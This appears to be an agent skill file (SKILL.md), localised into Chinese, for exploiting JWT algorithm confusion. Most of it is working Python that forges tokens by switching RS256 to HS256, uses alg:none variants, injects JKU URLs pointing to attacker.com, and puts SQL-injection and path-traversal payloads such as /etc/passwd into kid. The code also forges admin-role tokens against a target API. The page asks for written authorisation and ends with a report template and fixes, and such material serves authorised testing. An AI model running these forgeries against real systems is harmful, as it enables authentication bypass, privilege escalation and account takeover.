界面已本地化;技能介绍与说明文档按所选语言由 AI 自动翻译,代码、命令、路径和专业术语保留原文,以原作者文档为准。
探索技能
效率与协作 · SKILL.md

exploiting-jwt-algorithm-confusion-attack

exploiting-jwt-algorithm-confusion-attack

【效率与协作】利用 JWT 算法混淆漏洞,该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256(以 RSA 公钥作为 HMAC 密钥),将 alg 设置为 none 以绕过签名验证,或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。

独立 GitHub 快照 · 自动分类 · 以原作者文档为准

技能说明

GitHub

name: exploiting-jwt-algorithm-confusion-attack description: > 利用 JWT 算法混淆漏洞,该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256(以 RSA 公钥作为 HMAC 密钥),将 alg 设置为 none 以绕过签名验证,或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。 domain: cybersecurity subdomain: api-security tags: [api-security, jwt, algorithm-confusion, token-forgery, cryptographic-attack] version: 1.0.0 author: mahipal license: Apache-2.0

利用 JWT 算法混淆攻击

适用场景

  • 测试使用 RS256(非对称)JWT 令牌进行认证的 API,检查是否存在降级到 HS256 的问题
  • 评估 JWT 实现中是否存在 alg:none 绕过(服务器跳过签名验证)
  • 评估 JWT 库是否存在密钥混淆漏洞(公钥被用作 HMAC 密钥)
  • 测试 kid(密钥 ID)、jku(JWK Set URL)和 x5u(X.509 URL)头参数是否存在注入问题
  • 验证 API 服务器是否强制使用特定算法,而不信任 JWT 头

不适用于:未获书面授权的情况。利用 JWT 漏洞可能导致认证绕过和账户接管。

前置条件

  • 明确目标 API 和基于 JWT 认证范围的书面授权
  • 来自目标 API 的有效 JWT 令牌(通过合法认证获取)
  • 服务器的 RSA 公钥(可从 JWKS 端点、TLS 证书或公钥端点获取)
  • Python 3.10+,安装 PyJWT、cryptography 和 requests 库
  • jwt_tool,用于自动化 JWT 攻击测试
  • Burp Suite 配合 JWT Editor 扩展

工作流程

步骤 1:JWT 令牌分析

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# 捕获有效的 JWT 令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# 解码 JWT 各部分
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

步骤 2:获取公钥

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# 方法 1:JWKS 端点
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # 从 JWKS 中提取 RSA 公钥
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # 第一个密钥
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# 方法 2:从 OpenID 配置中获取
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# 方法 3:在常见路径上暴露
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

步骤 3:算法混淆攻击(RS256 转 HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    算法混淆:使用 RSA 公钥作为密钥以 HS256 签名令牌。
    若服务器使用信任 alg 头的通用 verify(),则会使用公钥验证 HMAC 签名,
    从而与我们的签名匹配。
    """
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    # 按需修改载荷
    if modifications:
        payload.update(modifications)

    # 创建 HS256 头
    new_header = {"alg": "HS256", "typ": "JWT"}

    # 编码头和载荷
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(new_header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # 使用 RSA 公钥作为密钥,以 HMAC-SHA256 签名
    signing_input = f"{header_b64}.{payload_b64}".encode()

    # 使用原始 PEM 字节作为 HMAC 密钥
    if isinstance(public_key_pem, str):
        public_key_pem = public_key_pem.encode()

    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# 攻击 1:使用相同声明的算法混淆
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")

# 攻击 2:通过算法混淆提升权限
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
    modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
    headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")

# 攻击 3:尝试不同的公钥格式
key_formats = [
    public_key_pem,                                    # 完整 PEM
    public_key_pem.strip(),                            # 去除首尾空白
    public_key_pem.replace(b'\n', b''),               # 无换行
    public_key_pem.decode().split('\n')[1:-1],        # 仅 Base64
]

for i, key_format in enumerate(key_formats):
    if isinstance(key_format, list):
        key_format = ''.join(key_format).encode()
    elif isinstance(key_format, str):
        key_format = key_format.encode()

    token = forge_hs256_with_public_key(valid_token, key_format)
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] Key format {i} worked for algorithm confusion")

步骤 4:算法 None 攻击

def forge_none_algorithm(token, modifications=None):
    """创建使用 alg:none 变体的令牌,以绕过签名验证。"""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    if modifications:
        payload.update(modifications)

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # 不同的 "none" 算法变体
    none_variants = [
        {"alg": "none", "typ": "JWT"},
        {"alg": "None", "typ": "JWT"},
        {"alg": "NONE", "typ": "JWT"},
        {"alg": "nOnE", "typ": "JWT"},
        {"typ": "JWT"},  # 完全缺少 alg
    ]

    tokens = []
    for variant_header in none_variants:
        header_b64 = base64.urlsafe_b64encode(
            json.dumps(variant_header).encode()).decode().rstrip('=')

        # 不同的签名选项
        sig_options = [
            "",                    # 空签名
            ".",                   # 仅一个点
            parts[2],             # 原始签名
            base64.urlsafe_b64encode(b'\x00').decode().rstrip('='),  # 空字节
        ]

        for sig in sig_options:
            tokens.append(f"{header_b64}.{payload_b64}.{sig}")

    return tokens

# 测试所有 none 算法变体
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
        print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")

# 测试权限提升
admin_none_tokens = forge_none_algorithm(valid_token,
    modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
    resp = requests.get(f"{BASE_URL}/admin/users",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print("[CRITICAL] Admin access via alg:none bypass")
        break

步骤 5:JKU 和 KID 头注入

import os

# 攻击:JKU(JWK Set URL)注入
# 托管攻击者控制的 JWKS,其中包含我们的密钥对
def generate_attacker_jwks():
    """为攻击者服务器生成 RSA 密钥对和 JWKS。"""
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend

    # 生成攻击者密钥对
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    public_numbers = public_key.public_numbers()

    n_b64 = base64.urlsafe_b64encode(
        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
    e_b64 = base64.urlsafe_b64encode(
        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')

    jwks = {
        "keys": [{
            "kty": "RSA",
            "kid": "attacker-key-1",
            "use": "sig",
            "alg": "RS256",
            "n": n_b64,
            "e": e_b64
        }]
    }

    return private_key, jwks

attacker_private_key, attacker_jwks = generate_attacker_jwks()

# 创建 JKU 指向攻击者服务器的 JWT
def forge_jku_token(payload_modifications, jku_url):
    """创建用攻击者密钥签名、JKU 指向攻击者 JWKS 的 JWT。"""
    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
    payload.update(payload_modifications)

    header = {
        "alg": "RS256",
        "typ": "JWT",
        "kid": "attacker-key-1",
        "jku": jku_url  # 指向攻击者托管的 JWKS
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # 使用攻击者私钥签名
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import padding

    signing_input = f"{header_b64}.{payload_b64}".encode()
    signature = attacker_private_key.sign(
        signing_input,
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# 测试各种 URL 的 JKU 注入
jku_urls = [
    "https://attacker.com/.well-known/jwks.json",
    "https://attacker.com/jwks",
    # 绕过 URL 过滤器
    f"{BASE_URL}@attacker.com/jwks",
    f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]

for jku in jku_urls:
    token = forge_jku_token({"role": "admin"}, jku)
    # 注意:此测试需要在指定 URL 上托管攻击者 JWKS
    print(f"  JKU injection payload generated for: {jku}")

# KID 注入(kid 参数中的 SQL 注入)
kid_injection_payloads = [
    "../../../../../../dev/null",              # 路径遍历到空文件
    "../../../../../../proc/sys/kernel/hostname",
    "' UNION SELECT 'secret-key' -- ",         # kid 查找中的 SQL 注入
    "' OR '1'='1",
    "../../../etc/passwd",
    "https://attacker.com/key.pem",            # 基于 URL 的 kid
]

for kid in kid_injection_payloads:
    modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(modified_header).encode()).decode().rstrip('=')
    payload_b64 = valid_token.split('.')[1]

    # 使用注入预期的密钥材料签名
    signing_input = f"{header_b64}.{payload_b64}".encode()
    # 对于路径遍历到 /dev/null,密钥为空
    sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')

    token = f"{header_b64}.{payload_b64}.{sig_b64}"
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] KID injection successful: {kid}")

核心概念

术语定义
算法混淆(Algorithm Confusion)服务器信任 JWT 中的 alg 头,允许攻击者从 RS256 切换到 HS256,并以公钥作为 HMAC 密钥进行签名
alg:none 攻击将 JWT 算法设置为 "none",若库不强制算法选择,则可完全绕过签名验证
JKU 注入操纵 jku(JWK Set URL)头,使其指向攻击者控制的 JWKS 端点,从而提供自己的签名密钥
KID 注入向 kid(密钥 ID)头参数注入 SQL、路径遍历或 URL 载荷,以操纵密钥选择或读取任意文件
密钥混淆(Key Confusion)服务器从非对称验证错误切换为对称验证时,使用 RSA 公钥作为 HMAC 密钥
JWKS(JSON Web Key Set)包含服务器用于验证 JWT 签名的公钥的 JSON 结构,通常托管在知名端点上

工具与系统

  • jwt_tool:基于 Python 的 JWT 测试工具集,支持 12 种以上攻击模式,包括算法混淆、none 绕过和 kid 注入
  • Burp Suite JWT Editor:用于解码、编辑和重新签名 JWT 的扩展,具备算法操纵能力
  • hashcat(模式 16500):GPU 加速的 HMAC 密钥暴力破解,适用于 HS256/HS384/HS512 签名的 JWT
  • John the Ripper:基于 CPU 的 JWT 密钥破解,支持字典和规则攻击
  • jwt.io:在线 JWT 解码器和调试工具,可快速分析令牌

常见场景

场景:银行 API 上的算法混淆

背景:某银行 API 使用 RS256 签名的 JWT 进行认证。JWKS 端点公开可访问。该 API 处理需要高保证认证的金融交易。

方法:

  1. 以普通用户身份认证,获取有效 JWT
  2. 从 /.well-known/jwks.json 处的 JWKS 端点提取 RSA 公钥
  3. 创建带有 "alg": "HS256" 头的新 JWT,使用 RSA 公钥作为 HMAC 密钥签名
  4. 将伪造令牌发送至 GET /api/v1/users/me —— 服务器接受(确认算法混淆)
  5. 修改载荷,设置 "role": "admin" 和 "sub": "admin@bank.com",以公钥签名
  6. 访问管理端点:GET /api/v1/admin/transactions 返回全部交易记录
  7. 测试 alg:none:服务器拒绝(部分缓解)
  8. 使用 SQL 载荷测试 kid 注入:kid 参数用于 SQL 查询以查找密钥,从而实现 SQL 注入

注意事项:

  • 使用错误格式的公钥作为 HMAC 密钥(PEM 带/不带头、DER、原始字节)
  • 首次格式不成功时,未尝试多种公钥格式
  • 假设 alg:none 防御意味着算法混淆也得到了缓解
  • 当 JWT 头中存在 kid 参数时,未测试 kid 注入向量
  • 当服务器从 URL 获取密钥时,遗漏 JKU/x5u 头注入

输出格式

## 发现:JWT 算法混淆导致认证绕过

**ID**:API-JWT-001
**严重性**:严重(CVSS 9.8)
**CVE 参考**:CVE-2024-54150(相关模式)
**受影响组件**:JWT 认证中间件

**描述**:
API 的 JWT 验证库信任 JWT 头中指定的算法,而非强制使用固定算法。攻击者可
将算法从 RS256 更改为 HS256,并使用从 JWKS 端点获取的服务器 RSA 公钥作为
HMAC 密钥对令牌签名。服务器随后使用同一公钥验证 HMAC 签名,验证通过,使
攻击者能够为任意角色的任意用户伪造令牌。

**攻击链**:
1. 获取公钥:GET /.well-known/jwks.json
2. 创建 JWT:{"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. 使用 RSA 公钥 PEM 作为密钥,以 HMAC-SHA256 签名
4. 访问管理 API:GET /api/v1/admin/transactions -> 200 OK

**影响**:
完全认证绕过。攻击者可为包括管理员在内的任意用户伪造令牌,
访问所有金融交易、用户数据和管理功能。

**修复建议**:
1. 在服务器配置层面强制使用预期算法:jwt.verify(token, key, algorithms=["RS256"])
2. 切勿信任 JWT 中的 alg 头进行算法选择
3. 将 JWT 库升级到具备算法混淆保护的最新版本
4. 考虑使用 EdDSA(Ed25519),该算法不存在对称/非对称混淆风险
5. 实现令牌绑定,防止接受伪造令牌
我的收藏